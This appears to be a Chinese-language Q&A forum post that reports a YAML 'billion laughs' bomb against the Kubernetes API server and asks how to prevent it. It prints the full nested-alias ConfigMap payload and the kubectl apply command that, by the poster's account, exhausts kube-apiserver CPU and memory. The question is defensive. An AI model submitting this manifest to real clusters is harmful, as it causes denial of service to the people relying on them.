小编max*_*ang的帖子

安全性:Yaml Bomb:用户可以通过发送configmap重新启动kube-api

创建yaml-bomb.yaml文件:

apiVersion: v1
data:
  a: &a ["web","web","web","web","web","web","web","web","web"]
  b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
  c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]
  d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]
  e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d]
  f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e]
  g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
  h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
  i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]
kind: ConfigMap
metadata:
  name: yaml-bomb
  namespace: default
Run Code Online (Sandbox Code Playgroud)

ConfigMap通过cmd 将创建请求发送到Kubernetes API kubectl apply -f yaml-bomb.yaml

kube-api CPU /内存使用率很高,甚至在以后重新启动时也是如此。

我们如何防止这种炸弹?

yaml kubernetes

18
推荐指数
2
解决办法
1118
查看次数

标签 统计

kubernetes ×1

yaml ×1